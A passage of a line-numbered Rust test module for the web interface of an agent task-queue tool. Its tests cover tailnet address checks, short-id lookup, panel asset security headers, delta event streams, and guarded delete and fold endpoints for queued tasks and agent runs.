12989 #[test]
12990 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12991 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12995 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12996 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12997 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12998 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12999 }
13000
13001 #[test]
13002 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13003 let ids = vec![
13004 "20260902-140501-aaaa".to_owned(),
13005 "20260902-140502-aabb".to_owned(),
13006 ];
13007
13008 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13009 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13010 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13011
13012 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13013 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13014 assert_eq!(short, "20260902-140502-aabb");
13015 }
13016 #[tokio::test]
13017 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13018 let fx = Fixture::start().await;
13024 let id = panel(
13025 &fx,
13026 "<img src=\"shot.png\">",
13027 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13028 );
13029
13030 let doc = fx
13032 .get(&format!("/api/questions/{id}/panel/index.html"))
13033 .await;
13034 assert_eq!(doc.status, 200, "{}", doc.body);
13035 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13036
13037 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13038 assert_eq!(sibling.status, 200, "{}", sibling.body);
13039 assert_eq!(sibling.header("content-type"), Some("image/png"));
13040 assert_eq!(
13041 sibling.header("content-security-policy"),
13042 Some(PANEL_CSP),
13043 "the sibling route must carry the same policy as the asset route"
13044 );
13045
13046 assert_eq!(
13049 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13050 200
13051 );
13052 }
13053
13054 #[test]
13055 fn delta_stamps_cover_add_update_remove_and_noop() {
13056 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13057 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13058 let delta = diff_stamps(&before, &after, 42);
13059 assert_eq!(delta.base, 42);
13060 assert_eq!(delta.changed, ["b", "c"]);
13061 assert_eq!(delta.removed, ["a"]);
13062 let same = diff_stamps(&after, &after, 43);
13063 assert!(same.changed.is_empty() && same.removed.is_empty());
13064 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13065 let nanos: Stamps = [("b".into(), (2, 20))].into();
13066 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13067 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13068 assert_eq!(stamps_revision(&Stamps::new()), 0);
13069 }
13070
13071 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13072 std::fs::create_dir_all(home.join("runs")).unwrap();
13073 Arc::new(Ui::new(
13074 Queue::at(home.join("queue")),
13075 Questions::at(home.join("questions")),
13076 Talks::at(home.join("talks")),
13077 home.join("runs"),
13078 home.to_owned(),
13079 PathBuf::from("/repo/magi"),
13080 ))
13081 }
13082
13083 #[tokio::test]
13084 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13085 let home = TempDir::new().unwrap();
13086 let ui = delta_test_ui(home.path());
13087 let mut task = Task::new(
13088 "stream task".into(),
13089 "text".into(),
13090 PathBuf::from("/repo"),
13091 Source::Human,
13092 );
13093 ui.queue.put(&mut task).unwrap();
13094 let response = events(State(ui.clone())).await.into_response();
13095 let mut stream = response.into_body().into_data_stream();
13096 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13097 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13098 .await
13099 .unwrap()
13100 .unwrap()
13101 .unwrap();
13102 let text = String::from_utf8(chunk.to_vec()).unwrap();
13103 let data = text
13104 .lines()
13105 .find_map(|line| {
13106 line.strip_prefix("data: ")
13107 .or_else(|| line.strip_prefix("data:"))
13108 })
13109 .unwrap();
13110 serde_json::from_str(data).unwrap()
13111 }
13112 let initial = change(&mut stream).await;
13113 assert!(initial.get("queue_delta").is_none());
13114 task.instruction.push_str(" changed");
13115 ui.queue.put(&mut task).unwrap();
13116 let updated = change(&mut stream).await;
13117 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13118 assert_eq!(
13119 updated["queue_delta"]["changed"],
13120 serde_json::json!([task.id])
13121 );
13122 assert_eq!(
13123 updated["queue_rev"].as_u64(),
13124 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13125 );
13126 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13127 let removed = change(&mut stream).await;
13128 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13129 assert_eq!(
13130 removed["queue_delta"]["removed"],
13131 serde_json::json!([task.id])
13132 );
13133 }
13134
13135 #[tokio::test]
13136 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13137 let home = TempDir::new().unwrap();
13138 let ui = delta_test_ui(home.path());
13139 let queue = ui.queue.clone();
13140 let query = |ids: Option<&str>| {
13141 Query(ListQuery {
13142 limit: Some(2),
13143 ids: ids.map(str::to_owned),
13144 })
13145 };
13146 let mut root = Task::new(
13147 "root".into(),
13148 "instruction".into(),
13149 PathBuf::from("/repo"),
13150 Source::Human,
13151 );
13152 queue.put(&mut root).unwrap();
13153 let mut blocked = Task::new(
13154 "blocked".into(),
13155 "instruction".into(),
13156 PathBuf::from("/repo"),
13157 Source::Human,
13158 );
13159 blocked.block(vec![root.id.clone()], None);
13160 queue.put(&mut blocked).unwrap();
13161 let whole =
13162 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13163 .unwrap();
13164 let subset = serde_json::to_value(
13165 queue_list(State(ui.clone()), query(Some(&root.id)))
13166 .await
13167 .unwrap()
13168 .0,
13169 )
13170 .unwrap();
13171 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13172 let blockers = serde_json::to_value(
13173 queue_list(State(ui.clone()), query(Some("")))
13174 .await
13175 .unwrap()
13176 .0,
13177 )
13178 .unwrap();
13179 assert_eq!(blockers.as_array().unwrap().len(), 1);
13180 assert_eq!(blockers[0]["id"], blocked.id);
13181 assert_eq!(
13182 blockers[0]["waits_on"],
13183 whole
13184 .as_array()
13185 .unwrap()
13186 .iter()
13187 .find(|row| row["id"] == blocked.id)
13188 .unwrap()["waits_on"]
13189 );
13190
13191 for id in [
13192 "20260902-140501-aaaa",
13193 "20260902-140502-bbbb",
13194 "20260902-140503-cccc",
13195 ] {
13196 write_run(&ui.runs, id, RunStatus::Merged);
13197 }
13198 let old = serde_json::to_value(
13199 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13200 .await
13201 .unwrap()
13202 .0,
13203 )
13204 .unwrap();
13205 assert!(
13206 old.as_array().unwrap().is_empty(),
13207 "older updates must not enter the window"
13208 );
13209 let newest = serde_json::to_value(
13210 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13211 .await
13212 .unwrap()
13213 .0,
13214 )
13215 .unwrap();
13216 assert_eq!(newest.as_array().unwrap().len(), 1);
13217 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13218
13219 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13220 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13221 let talks = serde_json::to_value(
13222 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13223 .await
13224 .unwrap()
13225 .0,
13226 )
13227 .unwrap();
13228 assert_eq!(talks.as_array().unwrap().len(), 1);
13229 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13230 assert_eq!(
13231 serde_json::to_value(
13232 talks_list(State(ui.clone()), query(Some("")))
13233 .await
13234 .unwrap()
13235 .0
13236 )
13237 .unwrap(),
13238 serde_json::json!([])
13239 );
13240 }
13241
13242 #[tokio::test]
13243 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13244 async fn delta_payload_benchmark() {
13245 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13246 let ui = delta_test_ui(&home);
13247 let query = |ids: Option<String>| {
13248 Query(ListQuery {
13249 limit: Some(50),
13250 ids,
13251 })
13252 };
13253 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13254 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13255 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13256 let queue_id = queue
13257 .iter()
13258 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13259 .unwrap_or(&queue[0])
13260 .task
13261 .id
13262 .clone();
13263 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13264 .await
13265 .unwrap()
13266 .0;
13267 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13268 .await
13269 .unwrap()
13270 .0;
13271 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13272 .await
13273 .unwrap()
13274 .0;
13275 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13276 eprintln!(
13277 "DELTA_PAYLOAD {}",
13278 serde_json::json!({
13279 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13280 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13281 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13282 "counts": [queue.len(), runs.len(), talks.len()],
13283 "blocked": queue_delta.len() - 1,
13284 })
13285 );
13286 }
13287
13288 #[test]
13289 fn runs_revision_moves_when_deleting_an_older_run() {
13290 let temp = TempDir::new().expect("tempdir");
13291 let runs = temp.path().join("runs");
13292 std::fs::create_dir_all(&runs).expect("create runs dir");
13293
13294 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13295
13296 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13297 std::thread::sleep(Duration::from_millis(10));
13298 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13299
13300 let rev_before = runs_revision(&runs);
13301 assert!(rev_before > 0);
13302
13303 let old_dir = runs.join("20260901-100000-old1");
13304 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13305
13306 let rev_after = runs_revision(&runs);
13307 assert_ne!(
13308 rev_before, rev_after,
13309 "deleting an older run must change the revision so other clients see the deletion"
13310 );
13311 }
13312
13313 fn write_state(runs: &FsPath, state: &RunState) {
13318 let dir = runs.join(&state.id);
13319 std::fs::create_dir_all(&dir).expect("run dir");
13320 std::fs::write(
13321 dir.join("run.json"),
13322 serde_json::to_string_pretty(state).expect("serialize run"),
13323 )
13324 .expect("write run.json");
13325 }
13326
13327 #[test]
13332 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13333 let temp = TempDir::new().expect("tempdir");
13334 let runs = temp.path().join("runs");
13335 std::fs::create_dir_all(&runs).expect("create runs dir");
13336 let mut state = RunState::new(
13337 PathBuf::from("/repo/magi"),
13338 "main".to_owned(),
13339 "0123456789abcdef".to_owned(),
13340 "task".to_owned(),
13341 Config::default(),
13342 );
13343 state.id = "20260902-100000-c0de".to_owned();
13344 write_state(&runs, &state);
13345
13346 let rev_idle = runs_revision(&runs);
13347 std::thread::sleep(Duration::from_millis(10));
13348 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13349 write_state(&runs, &state);
13350 let rev_started = runs_revision(&runs);
13351 assert_ne!(
13352 rev_idle, rev_started,
13353 "a seat starting must move the revision"
13354 );
13355
13356 std::thread::sleep(Duration::from_millis(10));
13357 state.seat_finished("judge-1");
13358 write_state(&runs, &state);
13359 let rev_finished = runs_revision(&runs);
13360 assert_ne!(
13361 rev_started, rev_finished,
13362 "and clearing it again must move the revision a second time"
13363 );
13364 }
13365
13366 #[tokio::test]
13367 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13368 let fx = Fixture::start().await;
13373 let q = fx.queue();
13374
13375 let mut t = Task::new(
13376 "Task".to_owned(),
13377 "Instruction".to_owned(),
13378 PathBuf::from("/repo"),
13379 Source::Human,
13380 );
13381 t.block(
13382 vec!["20260101-000000-dead".to_owned()],
13383 Some("waiting on Task 1".to_owned()),
13384 );
13385 t.answers.push(crate::queue::AnsweredQuestion {
13386 question: "Which backend?".to_owned(),
13387 answer: "SQLite".to_owned(),
13388 });
13389 q.put(&mut t).expect("put t");
13390
13391 let res = fx.get("/api/queue").await;
13392 assert_eq!(res.status, 200);
13393 let list = res.json();
13394 let view = list
13395 .as_array()
13396 .expect("array")
13397 .iter()
13398 .find(|v| v["id"] == t.id)
13399 .expect("task in list");
13400 assert_eq!(view["status_str"], "blocked");
13401 assert_eq!(
13402 view["blocked_by"],
13403 serde_json::json!(["20260101-000000-dead"])
13404 );
13405 assert_eq!(view["block_reason"], "waiting on Task 1");
13406 assert_eq!(view["answers"][0]["question"], "Which backend?");
13407 assert_eq!(view["answers"][0]["answer"], "SQLite");
13408
13409 let res = fx
13413 .post(&format!("/api/queue/{}/hold", t.short()), None)
13414 .await;
13415 assert_eq!(res.status, 200);
13416 let held = res.json();
13417 assert_eq!(held["status_str"], "held");
13418 assert_eq!(held["blocked_by"], serde_json::json!([]));
13419 assert!(held["block_reason"].is_null());
13420 assert_eq!(held["answers"][0]["answer"], "SQLite");
13421 }
13422
13423 #[tokio::test]
13424 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13425 let fx = Fixture::start().await;
13426 let q = fx.queue();
13427 let mk = |title: &str| {
13428 Task::new(
13429 title.to_owned(),
13430 "Instruction".to_owned(),
13431 PathBuf::from("/repo"),
13432 Source::Human,
13433 )
13434 };
13435 let mut root = mk("root");
13436 root.hold_manual(Some("waiting".to_owned()));
13437 q.put(&mut root).unwrap();
13438 let mut mid = mk("mid");
13439 mid.block(vec![root.id.clone()], None);
13440 q.put(&mut mid).unwrap();
13441 let mut leaf = mk("leaf");
13442 leaf.block(vec![mid.id.clone()], None);
13443 q.put(&mut leaf).unwrap();
13444
13445 let list = fx.get("/api/queue").await.json();
13446 let find = |id: &str| {
13447 list.as_array()
13448 .unwrap()
13449 .iter()
13450 .find(|v| v["id"] == id)
13451 .unwrap()
13452 .clone()
13453 };
13454 let leaf_view = find(&leaf.id);
13455 assert_eq!(
13456 leaf_view["waits_on"],
13457 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13458 );
13459 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13460 assert_eq!(
13461 find(&mid.id)["waits_on"],
13462 serde_json::json!([format!("{} (held)", root.short())])
13463 );
13464 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13465 }
13466
13467 #[tokio::test]
13468 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13469 let fx = Fixture::start().await;
13470 let q = fx.queue();
13471
13472 let mut t1 = Task::new(
13474 "Task 1".to_owned(),
13475 "Instruction 1".to_owned(),
13476 PathBuf::from("/repo"),
13477 Source::Human,
13478 );
13479 let run_id = "20260901-000000-r111";
13480 t1.runs.push(run_id.to_owned());
13481 write_run(&fx.runs(), run_id, RunStatus::Merged);
13482 q.put(&mut t1).expect("put t1");
13483
13484 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13486 assert_eq!(res.status, 204);
13487 assert!(res.body.is_empty(), "204 No Content has no body");
13488 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13489 assert!(
13490 fx.runs().join(run_id).exists(),
13491 "run directory must not be deleted when its task is deleted"
13492 );
13493
13494 let mut t2 = Task::new(
13496 "Task 2".to_owned(),
13497 "Instruction 2".to_owned(),
13498 PathBuf::from("/repo"),
13499 Source::Human,
13500 );
13501 t2.status = TaskStatus::Running;
13502 q.put(&mut t2).expect("put t2");
13503 let mut beat = crate::daemon::Status::new();
13504 beat.current = vec![crate::daemon::Current {
13505 task: t2.id.clone(),
13506 run: "20260901-000000-r222".to_owned(),
13507 }];
13508 beat.updated_at = jiff::Timestamp::now();
13509 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13510 .expect("publish a heartbeat");
13511 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13512 assert_eq!(res.status, 409);
13513 assert!(
13514 res.json()["error"]
13515 .as_str()
13516 .unwrap()
13517 .contains("live daemon")
13518 );
13519 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13520
13521 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13527 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13528 .expect("leave a stale heartbeat");
13529 let mut t3 = Task::new(
13530 "Task 3".to_owned(),
13531 "Instruction 3".to_owned(),
13532 PathBuf::from("/repo"),
13533 Source::Human,
13534 );
13535 t3.status = TaskStatus::Running;
13536 q.put(&mut t3).expect("put t3");
13537 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13538 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13539 assert_eq!(res.status, 204);
13540 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13541 assert!(
13542 q.claim(&t3.id).is_ok(),
13543 "the stale lock went with it, so the id is claimable again"
13544 );
13545
13546 let res = fx.delete("/api/queue/nonexistent").await;
13548 assert_eq!(res.status, 404);
13549 }
13550
13551 #[tokio::test]
13552 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13553 let fx = Fixture::start().await;
13554 let runs = fx.runs();
13555
13556 let run_id = "20260901-000000-fold";
13558 let mut state = RunState::new(
13559 PathBuf::from("/repo"),
13560 "main".to_owned(),
13561 "abc".to_owned(),
13562 "instruction".to_owned(),
13563 Config::default(),
13564 );
13565 state.id = run_id.to_owned();
13566 state.status = RunStatus::Merged;
13567 state.candidates.push(crate::run::Candidate {
13568 index: 0,
13569 label: 'A',
13570 agent: "a".to_owned(),
13571 branch: "b".to_owned(),
13572 worktree: PathBuf::from("/w"),
13573 summary: String::new(),
13574 stat: String::new(),
13575 files: 1,
13576 commits: 1,
13577 empty: false,
13578 failed: None,
13579 verified_noop: None,
13580 duration_ms: 0,
13581 folded: true,
13582 });
13583 let dir = runs.join(run_id);
13584 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13585 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13586 .expect("write artifact");
13587 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13588 .expect("write run.json");
13589
13590 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13592 assert_eq!(res.status, 204);
13593 assert!(res.body.is_empty(), "204 has no body");
13594 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13595
13596 let run_running = "20260901-000000-rung";
13601 write_run(&runs, run_running, RunStatus::Prep);
13602 let mut beat = crate::daemon::Status::new();
13603 beat.current = vec![crate::daemon::Current {
13604 task: "20260901-000000-task".to_owned(),
13605 run: run_running.to_owned(),
13606 }];
13607 beat.updated_at = jiff::Timestamp::now();
13608 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13609 .expect("publish a heartbeat");
13610 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13611 assert_eq!(res.status, 409);
13612 assert!(
13613 res.json()["error"]
13614 .as_str()
13615 .unwrap()
13616 .contains("live daemon"),
13617 "the refusal must say who is holding it"
13618 );
13619 assert!(
13620 runs.join(run_running).exists(),
13621 "a run in flight keeps its directory"
13622 );
13623
13624 let run_unfolded = "20260901-000000-unfd";
13626 let mut state2 = RunState::new(
13627 PathBuf::from("/repo"),
13628 "main".to_owned(),
13629 "abc".to_owned(),
13630 "instruction".to_owned(),
13631 Config::default(),
13632 );
13633 state2.id = run_unfolded.to_owned();
13634 state2.status = RunStatus::Ready;
13635 state2.candidates.push(crate::run::Candidate {
13636 index: 0,
13637 label: 'A',
13638 agent: "a".to_owned(),
13639 branch: "b".to_owned(),
13640 worktree: PathBuf::from("/w"),
13641 summary: String::new(),
13642 stat: String::new(),
13643 files: 1,
13644 commits: 1,
13645 empty: false,
13646 failed: None,
13647 verified_noop: None,
13648 duration_ms: 0,
13649 folded: false,
13650 });
13651 let dir2 = runs.join(run_unfolded);
13652 std::fs::create_dir_all(&dir2).expect("create dir2");
13653 std::fs::write(
13654 dir2.join("run.json"),
13655 serde_json::to_string(&state2).unwrap(),
13656 )
13657 .expect("write run.json");
13658
13659 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13660 assert_eq!(res.status, 409);
13661 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13662 assert!(dir2.exists(), "unfolded run directory is kept");
13663
13664 let res = fx.delete("/api/runs/nonexistent").await;
13666 assert_eq!(res.status, 404);
13667 }
13668
13669 #[test]
13678 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13679 let start = APP_JS
13680 .find("function renderStats() {")
13681 .expect("renderStats");
13682 let end = start
13683 + APP_JS[start..]
13684 .find("function statsTile(")
13685 .expect("the next top-level function");
13686 let body = &APP_JS[start..end];
13687
13688 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13689 let gate_end = gate_start
13690 + body[gate_start..]
13691 .find("}\n renderStatsQueue")
13692 .expect("the gate's own closing brace, right before the unconditional call");
13693 let gated = &body[gate_start..gate_end];
13694
13695 assert_eq!(
13696 body.matches("renderStatsQueue(").count(),
13697 1,
13698 "renderStats must call renderStatsQueue exactly once: {body}"
13699 );
13700 assert!(
13701 !gated.contains("renderStatsQueue"),
13702 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13703 run-derived panels on an empty run history - the queue panel has to render \
13704 regardless: {gated}"
13705 );
13706 }
13707
13708 #[test]
13709 fn web_ui_delete_contract_in_front_end() {
13710 assert!(APP_JS.contains("deleteRun:"));
13712 assert!(APP_JS.contains("deleteTask:"));
13713
13714 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13716 ..APP_JS.find("function renderRuns").unwrap()];
13717 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13718
13719 assert!(APP_JS.contains("renderRunDelete"));
13721 assert!(APP_JS.contains("runDeleteReason"));
13722 assert!(APP_JS.contains("magi fold"));
13723 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13724
13725 assert!(APP_JS.contains("cancel.focus"));
13727 assert!(APP_JS.contains("armedRunDelete"));
13728 assert!(APP_JS.contains("renderTaskDeleteBox"));
13729 assert!(APP_JS.contains("armed${cap(key)}"));
13730
13731 assert!(APP_JS.contains("disabled: status === \"running\""));
13733 }
13734
13735 #[test]
13755 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13756 let build = APP_JS
13757 .find("function createRunCard")
13758 .expect("createRunCard exists");
13759 let update = APP_JS
13760 .find("function updateRunCard")
13761 .expect("updateRunCard exists");
13762 let end = APP_JS
13763 .find("function renderRuns")
13764 .expect("renderRuns exists");
13765
13766 let builder = &APP_JS[build..update];
13768 let open = builder.find("refs = {").expect("createRunCard sets refs");
13769 let literal = &builder[open + "refs = {".len()..];
13770 let close = literal.find('}').expect("the refs literal is closed");
13771 let published: HashSet<&str> = literal[..close]
13772 .split(',')
13773 .filter_map(|entry| entry.split(':').next())
13775 .map(str::trim)
13776 .filter(|name| !name.is_empty())
13777 .collect();
13778 assert!(
13779 published.len() > 5,
13780 "the refs literal did not parse into names: {published:?}"
13781 );
13782
13783 let mut used: Vec<&str> = Vec::new();
13786 let updaters = &APP_JS[update..end];
13787 for (at, _) in updaters.match_indices("r.") {
13788 let before = updaters[..at].chars().next_back();
13791 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13792 continue;
13793 }
13794 let rest = &updaters[at + 2..];
13795 let len = rest
13796 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13797 .unwrap_or(rest.len());
13798 if len > 0 {
13799 used.push(&rest[..len]);
13800 }
13801 }
13802 assert!(
13803 used.len() > 5,
13804 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13805 );
13806
13807 let missing: Vec<&str> = used
13808 .iter()
13809 .copied()
13810 .filter(|name| !published.contains(name))
13811 .collect();
13812 assert!(
13813 missing.is_empty(),
13814 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13815 never put in `refs` - every card will throw and the list will \
13816 render empty under a count line that says otherwise. Published: \
13817 {published:?}"
13818 );
13819 }
13820
13821 #[tokio::test]
13822 async fn folding_from_the_phone_reports_what_it_removed() {
13823 let fx = Fixture::start().await;
13824 let runs = fx.runs();
13825
13826 let id = "20260901-000000-fold";
13830 write_run(&runs, id, RunStatus::Stalled);
13831 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13832 assert_eq!(res.status, 200);
13833 assert_eq!(res.json()["removed_count"], 0);
13834 assert_eq!(res.json()["run"], id);
13835 assert!(
13836 runs.join(id).exists(),
13837 "a fold keeps the run's record; only the worktrees go"
13838 );
13839 }
13840
13841 #[tokio::test]
13842 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13843 let fx = Fixture::start().await;
13844 let runs = fx.runs();
13845 let wt = fx.home.path().join("wt").join("magi").join("dead");
13846 let id = "20260901-000000-dead";
13847 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13848 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13849 std::fs::create_dir_all(&wt).expect("worktree dir");
13850
13851 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13852 assert_eq!(res.status, 200, "{}", res.body);
13853 assert!(
13854 res.json()["removed_count"].as_u64().unwrap() > 0,
13855 "the worktree this build could not read a state for still went"
13856 );
13857 assert!(
13858 !runs.join(id).exists(),
13859 "an unreadable run has no candidate list to fold selectively, so \
13860 the whole record goes - same as `magi fold` on the CLI"
13861 );
13862 }
13863
13864 #[tokio::test]
13865 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13866 let fx = Fixture::start().await;
13867 let runs = fx.runs();
13868 let wt = fx.home.path().join("wt").join("magi").join("gone");
13869 let id = "20260901-000000-gone";
13870 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13871 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13872 std::fs::create_dir_all(&wt).expect("worktree dir");
13873
13874 let res = fx.delete(&format!("/api/runs/{id}")).await;
13875 assert_eq!(res.status, 204, "{}", res.body);
13876 assert!(!runs.join(id).exists(), "the broken record is gone");
13877 assert!(!wt.exists(), "its worktree is gone too");
13878 }
13879
13880 #[tokio::test]
13881 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13882 let fx = Fixture::start().await;
13883 let runs = fx.runs();
13884 let id = "20260901-000000-live";
13885 write_run(&runs, id, RunStatus::Implementing);
13886
13887 let mut beat = crate::daemon::Status::new();
13888 beat.current = vec![crate::daemon::Current {
13889 task: "20260901-000000-task".to_owned(),
13890 run: id.to_owned(),
13891 }];
13892 beat.updated_at = jiff::Timestamp::now();
13893 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13894 .expect("publish a heartbeat");
13895
13896 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13897 assert_eq!(res.status, 409);
13898 assert!(
13899 res.json()["error"]
13900 .as_str()
13901 .unwrap()
13902 .contains("live daemon"),
13903 "folding under a running agent would pull its worktree away"
13904 );
13905 }
13906
13907 #[tokio::test]
13908 async fn fold_merged_requires_a_pr_url() {
13909 let fx = Fixture::start().await;
13910 let runs = fx.runs();
13911 let id = "20260901-000000-nourl";
13912 write_run(&runs, id, RunStatus::Blocked);
13913
13914 let res = fx
13915 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13916 .await;
13917 assert_eq!(res.status, 400, "{}", res.body);
13918
13919 let blank = fx
13920 .post(
13921 &format!("/api/runs/{id}/fold-merged"),
13922 Some(r#"{"pr_url":" "}"#),
13923 )
13924 .await;
13925 assert_eq!(blank.status, 400, "{}", blank.body);
13926 }
13927
13928 #[tokio::test]
13929 async fn fold_merged_is_404_for_an_unknown_run() {
13930 let fx = Fixture::start().await;
13931 let res = fx
13932 .post(
13933 "/api/runs/nosuchrun/fold-merged",
13934 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13935 )
13936 .await;
13937 assert_eq!(res.status, 404, "{}", res.body);
13938 }
13939
13940 #[tokio::test]
13941 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13942 let fx = Fixture::start().await;
13943 let runs = fx.runs();
13944 let id = "20260901-000000-livemerge";
13945 write_run(&runs, id, RunStatus::Blocked);
13946
13947 let mut beat = crate::daemon::Status::new();
13948 beat.current = vec![crate::daemon::Current {
13949 task: "20260901-000000-task".to_owned(),
13950 run: id.to_owned(),
13951 }];
13952 beat.updated_at = jiff::Timestamp::now();
13953 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13954 .expect("publish a heartbeat");
13955
13956 let res = fx
13957 .post(
13958 &format!("/api/runs/{id}/fold-merged"),
13959 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13960 )
13961 .await;
13962 assert_eq!(res.status, 409, "{}", res.body);
13963 assert!(
13964 res.json()["error"]
13965 .as_str()
13966 .unwrap()
13967 .contains("live daemon"),
13968 "correcting a run's merge underneath a running agent would race \
13969 whatever it is doing to the same `status`/`merge` fields"
13970 );
13971 }
13972
13973 #[tokio::test]
